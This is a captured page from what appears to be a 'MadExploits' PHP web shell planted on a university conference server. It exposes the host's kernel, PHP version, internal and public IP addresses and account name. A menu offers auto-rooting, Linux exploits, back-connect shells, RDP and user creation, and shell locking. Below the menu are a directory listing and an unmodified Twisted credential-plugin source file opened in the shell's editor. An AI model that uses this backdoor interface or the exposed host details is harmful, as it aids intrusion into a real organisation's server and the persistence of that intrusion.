Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 18.221.11.247
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
twisted /
plugins /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
590
B
-rw-r--r--
cred_anonymous.py
1017
B
-rw-r--r--
cred_file.py
1.83
KB
-rw-r--r--
cred_memory.py
2.33
KB
-rw-r--r--
cred_sshkeys.py
1.46
KB
-rw-r--r--
cred_unix.py
5.77
KB
-rw-r--r--
dropin.cache
5.37
KB
-rwxr-xr-x
twisted_conch.py
519
B
-rw-r--r--
twisted_core.py
589
B
-rw-r--r--
twisted_ftp.py
229
B
-rw-r--r--
twisted_inet.py
260
B
-rw-r--r--
twisted_names.py
247
B
-rw-r--r--
twisted_portforward.py
275
B
-rw-r--r--
twisted_reactors.py
1.84
KB
-rw-r--r--
twisted_runner.py
278
B
-rw-r--r--
twisted_socks.py
247
B
-rw-r--r--
twisted_trial.py
2.04
KB
-rw-r--r--
twisted_web.py
312
B
-rw-r--r--
twisted_words.py
1
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cred_memory.py
# -*- test-case-name: twisted.test.test_strcred -*- # # Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ Cred plugin for an in-memory user database. """ from __future__ import absolute_import, division from zope.interface import implementer from twisted import plugin from twisted.cred.strcred import ICheckerFactory from twisted.cred.checkers import InMemoryUsernamePasswordDatabaseDontUse from twisted.cred.credentials import IUsernamePassword, IUsernameHashedPassword inMemoryCheckerFactoryHelp = """ A checker that uses an in-memory user database. This is only of use in one-off test programs or examples which don't want to focus too much on how credentials are verified. You really don't want to use this for anything else. It is a toy. """ @implementer(ICheckerFactory, plugin.IPlugin) class InMemoryCheckerFactory(object): """ A factory for in-memory credentials checkers. This is only of use in one-off test programs or examples which don't want to focus too much on how credentials are verified. You really don't want to use this for anything else. It is, at best, a toy. If you need a simple credentials checker for a real application, see L{cred_file.FileCheckerFactory}. """ authType = 'memory' authHelp = inMemoryCheckerFactoryHelp argStringFormat = 'A colon-separated list (name:password:...)' credentialInterfaces = (IUsernamePassword, IUsernameHashedPassword) def generateChecker(self, argstring): """ This checker factory expects to get a list of username:password pairs, with each pair also separated by a colon. For example, the string 'alice:f:bob:g' would generate two users, one named 'alice' and one named 'bob'. """ checker = InMemoryUsernamePasswordDatabaseDontUse() if argstring: pieces = argstring.split(':') if len(pieces) % 2: from twisted.cred.strcred import InvalidAuthArgumentString raise InvalidAuthArgumentString( "argstring must be in format U:P:...") for i in range(0, len(pieces), 2): username, password = pieces[i], pieces[i+1] checker.addUser(username, password) return checker theInMemoryCheckerFactory = InMemoryCheckerFactory()
Close